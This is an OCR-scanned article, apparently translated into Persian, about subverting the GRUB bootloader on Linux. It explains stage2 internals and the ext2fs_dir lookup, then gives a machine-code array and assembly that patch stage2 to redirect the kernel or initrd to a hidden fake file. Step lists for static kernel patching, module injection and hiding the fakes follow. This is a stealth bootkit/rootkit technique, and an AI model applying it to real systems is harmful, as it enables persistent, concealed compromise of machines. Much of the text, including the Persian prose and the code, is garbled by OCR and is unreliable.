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stagel, stage2, e2fs stagel 5, fat stagel 5, ffs stagel 5, minix_stagel 5, reiserfs stagel 5
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e2fs stagel 5:

gce -0 e2fs_stagel 5.exec -nostdlib -WI1,-N -W1,-Ttext -W1,2000
e2fs_stagel 5 exec-start.o e2fs stagel 5 exec-asm.o
e2fs stagel 5 exec-common.o e2fs stagel 5 exec-char io.o
e2fs_stagel 5 exec-disk io.o e2fs stagel 5 exec-stagel 5.0
e2fs stagel 5 exec-fsys ext2fs.o e2fs stagel 5 exec-bios.o

objcopy -O binary e2fs stagel 5.exec e2fs stagel 5

stage2:

gcc -o pre_stage2.exec -nostdlib -W1,-N -WL-Ttext -W1,8200
pre_stage2 exec-asm.o pre_stage2 exec-bios.o pre_stage2 exec-boot.o
pre_stage2 exec-builtins.o pre_stage2 exec-common.o
pre_stage2 exec-char io.o pre stage2 exec-cmdline.o
pre_stage2 exec-disk i0.0 pre stage2 exec-gunzip.o
pre_stage2 exec-fsys ext2fs.o pre stage2 exec-fsys_ fat.o
pre_stage2 exec-fsys ffs.o pre stage2 exec-fsys minix.o
pre_stage2 exec-fsys reiserfs.o pre_stage2 exec-fsys vstafs.o
pre_stage2 exec-hercules.o pre_stage2 exec-serial.o
pre_stage2 exec-smp-imps.o pre_stage2 exec-stage2.o
pre_stage2 exec-mdS5.o

objcopy -O binary pre_stage2.exec pre_stage2

cat start pre_stage2 > stage2
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e2fs stagel 5:
[start.S] [asm.S] [common.c] [char io.c] [disk io.c] [stagel S5.c] [fsys ext2fs.c] [bios.c]

stage2:

[start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_i0.c] [cmdline.c] [disk i0.c]
[gunzip.c] [fsys ext2fs.c] [fsys fat.c] [fsys ffs.c] [fsys minix.c] [fsys_reiserfs.c]
[fsys_vstafs.c] [hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c]
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blocklist_default_start:

Jlong 2 /* this is the sector start parameter, in logical
sectors from the start of the disk, sector 0 */

blocklist_default_len: /* this is the number of sectors to read */
#ifdef STAGEL 5

.word 0 /* the command "install" will fill this up */
#else

.word (STAGE2 SIZE +511)>>9
#endif

blocklist default seg:
#ifdef STAGE1 5

.word 0x220
#else
.word 0x820 /* this is the segment of the starting address
to load the data into */
#endif
firstlist: /* this label has to be after the list data!!! */

i L (Jlo 2 0>
# hexdump -x -n 512 /boot/grub/stage?2

00001d0 [ 0000 0000 0000 0000][0000 0000 0000 0000 ]
00001e0 [ 62c7 0026 0064 1600] [ 62af 0026 0010 1400 ]
00001f0 [6287 0026 0020 1000] [61d0 0026 003f 0820 ]
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# mv /boot/grub/stage2 /boot/grub/stage2.bak
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# grub
grub > find /grub/stage?2 <- if you have boot partition
or
grub > find /boot/grub/stage2 <- if you don't have boot partition

(hdo0, 0) <= the result of 'find'

grub > root (hdO0,0) <- set root of boot partition

grub > setup (hdO0) <- if you want to install grub in mbr
or

grub > setup (hdO0,0) <- if you want to install grub in the
—-——= boot sector

Checking if "/boot/grub/stagel" exists... yes

Checking if "/boot/grub/stage2" exists... yes

Checking if "/boot/grub/e2fs stagel t" exists... yes



Running "embed /boot/grub/e2fs stagel 5 (hd0)"... 22 sectors are
embedded succeeded. <= if you install grub in boot sector,
this fails
Running "install /boot/grub/stagel d (hd0) (hd0)1+22 p
(hd0, 0) /boot/grub/stage2 /boot/grub/grub.conf"... succeeded
Done
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grub_open() jl £3,15 ext2/3 sl 1) 39—5 Lo gua—Sts (S—zS) MINI  gotsw—sw J— 1 Grub
O (AL §9S1.0uS o vkl Joubb SO pta 9 OSileS (03,5 U sl grub_close() 9 grub_read()
ol ex2fs dir

/* preconditions: ext2fs mount already executed, therefore supblk in buffer known as
* SUPERBLOCK
* Returns: 0 if error, nonzero iff we were able to find the file successfully
* postconditions: on a nonzero return, buffer known as INODE contains the inode of the file
* we were trying to look up
* side effects: messes up GROUP_DESC buffer area

*/

int ext2fs_dir (char *dirname) {

int current_ino = EXT2 ROOT INO; /*start at the root */

int updir_ino = current ino; /* the parent of the current directory */
}
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kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hdal

=S Sle->1 8 1, (root=/dev/hdal L, /boot/vmlinuz-2.6.11) ext2fs_dir J-b grub_open
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1. /boot/vmlinuz-2.6.11 ro root=/dev/hdal
~inode = EXT2 ROOT _INO, put inode info in INODE;
2. /boot/vmlinuz-2.6.11 ro root=/dev/hdal
* find dentry in /', then put the inode info of '/boot' in INODE;
3. /boot/vmlinuz-2.6.11 ro root=/dev/hdal
A find dentry in '/boot', then put the inode info of
'/boot/vmlinuz-2.6.11' in INODE;
4. /boot/vmlinuz-2.6.11 ro root=/dev/hdal
~ the pointer is space, INODE is regular file,
returns 1(success), INODE contains info about



'/boot/vmlinuz-2.6.11".
Holgsds Jobb ) file_fake 4y by o inode wlelbl g ooy sgT 39291 AW 35 (ol 4> S
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1. /boot/vmlinuz-2.6.11 ro root=/dev/hdal

A inode = EXT2 ROOT _INO;
2. boot/vmlinuz-2.6.11 ro root=/dev/hdal

~ change it to 0x0, change EXT2 ROOT INO to inode of file fake;
3. boot/vmlinuz-2.6.11 ro root=/dev/hdal

AEXT2 ROOT _INO(file fake) info is in INODE, the pointer is 0x0,

INODE is regular file, returns 1.
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static int
kernel func (char *arg, int flags)
{

/* Copy the command-line to MB_CMDLINE. */
grub_memmove (mb_cmdline, arg, len + 1);
kernel type =load image (arg, mb_cmdline, suggested type, load flags);
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int ext2fs_dir (char *dirname) {
int current_ino = EXT2 ROOT INO; /*start at the root */
int updir_ino = current_ino; /* the parent of the current directory */

b)—w 2315 gl ylade ¥ Lupdir_ino g current_ino 13 (il oo ¥ L ulw EXT2 ROOT_INO
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"movl $2, L "movl $2, OxffffYYYY(Sesp)" s "movl $2, OxfITXXXX(Sesp)" ) gua o3 (5w
5 "movl %reg, OxfIFIX XXX (Sesp)" "movl %reg, OXfIffYYYY(Sesp)" jusw 9 Yoreg"
"xor %eax, %eax; inc %oeax; olSel ¢l mls bl o ¥ LT laio g int LT g5 .39 2alss b oSl
Lo 45 (5 juz 392 3ls3 Ol "XOr %eax, Y%eax; movb $0x2, %al" b uizxed 9 Cawl il inc Yoeax"
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static char ext2 embed code[] = {

0x60), /* pusha */
0x9c, /* pushf */
Oxeb, 0x28, /* Jmp 4f */
0x5f, /* 1: pop %edi */
0x8b, O0xf, /* movl (%edi), %ecx */
0x8b, 0x74, 0x24, 0x28, /* movl 40 (%esp), %esi
0x83, Oxc7, 0x4, /* addl $4, %edi */
0xf3, Oxao6, /* repz cmpsb %es: (%$edi), %ds: (%esi) */
0x83, 0xf9, 0x0, /* cmp $0, %ecx */
0x74, 0x2, /* Je 2f */
Oxeb, Oxe, /* jmp 3f */
0x8b, 0x74, 0x24, 0x28, /* 2: movl 40 (%esp), %esi
Oxc6, 0x6, 0x00, /* movb $0x0, (%esi) '"\O' */
0x9d, /* popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, 0xO, /* jmp change inode */
0x9d, /* 3: popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, O0OxO0, /* Jjmp not change inode

Oxe8, 0xd3, Oxff, Oxff, Oxff, /* 4: call 1b */
0x0, 0x0, 0x0, O0xO0, /* kernel filename length */

0x0, 0x0, 0x0, 0x0, 0x0, O0x0, /* filename string, 48B in all */
0x0, O0x0, 0x0, 0x0, 0x0, O0OxO0,
0x0, 0x0, 0x0, 0x0, 0x0, O0xO0,

*/

*/

*/



0x0,
0x0,
0x0,
0x0,
0x0,

0x0,
0x0,
0x0,
0x0,
0x0,

0x0,
0x0,
0x0,
0x0,
0x0,

0x0,
0x0,
0x0,
0x0,
0x0,

0x0,
0x0,
0x0, O0x0,
0x0, O0x0,
0x0, 0xO0

0x0,
0x0,

bi
memcpy(buf embed, ext2 embed code, sizeof(ext2 embed code));
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/* embeded code, 2nd part, change inode */

memcpy(buf embed + sizeof(ext2 _embed code), s start, s mov_end - s_start);
modify EXT2 ROOT INO to INODE OF FAKE FILE();

/* embeded code, 3rd part, not_change inode*/
memcpy(buf _embed + sizeof(ext2 _embed code) + (s mov_end - s_start) + 5,
s _start,s mov_end - s_start);
AL (g0 p2) D90 UG98 XS Ao

ext2fs_du: — .. not_change inode:
push Yesp <= jmp embed

mov Yesp, Yehp push Yesp

push Yiedi mov Yhesp, ¥ehp
push Yesi push Yedi

sub $0x42c, Yiesp push Yhesi

mov §2, fiffhed(Yesp)
mov §2, fiffhe0(Yiesp)

sub $0x42c, Yesp
mov $2, ffffhed( iesp)
mwov §2, fifffhel(Yesp)

hack: jmp hack
embed: ——— change mode:

save Tegisters push Yiesp

compare sirings mov Yesp, Yehp

if maich, goto 1 push Yhedi

if not, goio 2 push Yiesi

1: resioze Tegisters sub $0xd2c, Yesp

jmp change_inode INODE_OF_ | mov §?, fiffthed("iesp)
2: restore registers FAKE FILE | mov §7, fifffhel(%esp)
jmp noi_change_inode jmp hack

ext2fs_dir Jas gunas (3ie3s P
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#define long2(n) ffz(~(n))
static __inline__ unsigned long
ffz (unsigned long word)

{
__asm__ ("bsfl %1, %0"



=" (word)
""" (~word));
return word;

b
group_desc = group _id >> log2 (EXT2 DESC PER BLOCK (SUPERBLOCK));

i o 4 Ld 9 3L o INliNE @S ol wls 45 325 oo QLIS U Cawl o OUel _inline & )gua f1Z
13l g0 mJj Sel 3 SUPERBLOCK - s_inodes_per_group (sass obil .abb

group_id = (current _ino - 1) / (SUPERBLOCK->s inodes per group);
#define RAW_ADDR(x) (x)

#define FSYS_BUF RAW_ADDR(0x68000)

#define SUPERBLOCK ((struct ext2_super block *)(FSYS_BUF))
struct ext2_super_block{

__u32s inodes per group /* # Inodes per group */

b
23 SUPERBLOCK > s_inodes_per_group 45 s5-& = pode Lo Oluwlxo Gub oLSST

32yl by 3Ll b (pbgrod Jloizl 13 39 g0 alls ext2fs_dir s L GusoT gl 5,15 1,8 0x68028

9 whS py cuiie @ 3lgy g0 Lo Al Tears Hanseis |) ext2fs_dir g9 b 33U 4955 0x68028 Joro (yauss Ji
shz 390 ySdoc il ygimws S I giudw L (0T ST Lol 395,50 0xC3 Jlis

F) b pawass ) L GussT L aS o 6l 1) (SLbl 2S¢y iz 8CC (@lgo (pa2y S b

Lo LT Spads plowil 1) Jump Sldoe 3315 S ol jl 4552 45 sl ol dlgws JU> (ol 1 /b A/ ol

1, fsys_table Lo s JT 230l Lol sl oe G9! T38b (50 a0 S S 15 plod 03,5 Cann w2,

ek (o0 MJ Do

struct fsys_entry fsys tablefNUM _FSYS + 1] =
{

# ifdef FSYS FAT

{"fat", fat mount, fat read, fat dir, 0, 0},
# endif
# ifdef FSYS EXT2FS

{"ext2fs", ext2fs_mount, ext2fs read, ext2fs dir, 0, 0},
# endif
# ifdef FSYS MINIX

{"minix", minix_mount, minix_read, minix_dir, 0, 0},
# endif

}3
39 g0 S0 0 25k fSys_table
if ((*(fsys_table[fsys type].mount func)) () !=1)
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Static Kernel Patch Oldee b SuST cuS 5 (1

A- cp kernel.orig kernel.fake

B- static kernel patch with kernel.fake

C- cp stage2 stage2.fake

D- hack grub stage2.fake kernel.orig inode of kernel.fake
E- hide kernel.fake and stage2.fake

S 42 o @l Caw pg8 jl p9> &> p0
Module Injection L LSS cuS 5 (w

A- cp initrd.img.orig initrd.img.fake
B- module injection with initrd.img.fake
a. ext3.[k]o
C- cp stage2 stage2.fake
D- hack grub stage2.fake initrd.img inode of initrd.img.fake
hide initrd.img.fake and stage2.fake
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e Design and Implementation of the Second Extended Filesystem:
http://e2fsprogs.sourceforge.net/ext2intro.html

e Ways to hide files in ext2/3 filesystem (Chinese):
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&Number=>54
5342&page=0&view=collapsed&sb=5&o=all&vc=1

e Static Kernel Patching: http://www.phrack.org/show.php?p=60&a=8

e Infecting Loadable Kernel Modules: http://www.phrack.org/show.php?p=61&a=10

e Ways to find 2.6 kernel rootkits (Chinese):
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&Number=54
0646&page=0&view=collapsed&sb=5&o=all&vc=1
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